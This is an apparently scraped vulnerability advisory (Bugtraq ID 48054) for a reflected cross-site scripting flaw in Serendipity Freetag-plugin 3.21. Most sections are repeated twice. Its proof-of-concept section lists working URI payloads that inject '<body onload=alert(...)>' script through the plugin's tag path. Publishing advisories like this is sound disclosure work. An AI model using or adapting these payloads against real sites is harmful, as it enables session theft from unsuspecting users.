Serendipity Freetag-plugin 'index.php' Cross Site Scripting Vulnerability
BID:48054
Info
Serendipity Freetag-plugin 'index.php' Cross Site Scripting Vulnerability
| Bugtraq ID: | 48054 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 31 2011 12:00AM |
| Updated: | May 31 2011 12:00AM |
| Credit: | Stefan Schurtz |
| Vulnerable: |
S9Y Serendipity Freetag-plugin 3.21 |
| Not Vulnerable: |
S9Y Serendipity Freetag-plugin 3.22 |
Discussion
Serendipity Freetag-plugin 'index.php' Cross Site Scripting Vulnerability
Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
This issue affects Serendipity Freetag-plugin 3.21; prior versions may also be affected.
Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
This issue affects Serendipity Freetag-plugin 3.21; prior versions may also be affected.
Exploit / POC
Serendipity Freetag-plugin 'index.php' Cross Site Scripting Vulnerability
An attacker can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(String.fromCharCode(88,83,83))>
http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(String.fromCharCode(88,83,83))>
An attacker can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(String.fromCharCode(88,83,83))>
http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/<body onload=alert(String.fromCharCode(88,83,83))>
Solution / Fix
Serendipity Freetag-plugin 'index.php' Cross Site Scripting Vulnerability
Solution:
The vendor released an update to address this issue. Please see the reference for more information.
Solution:
The vendor released an update to address this issue. Please see the reference for more information.
References
Serendipity Freetag-plugin 'index.php' Cross Site Scripting Vulnerability
References:
References: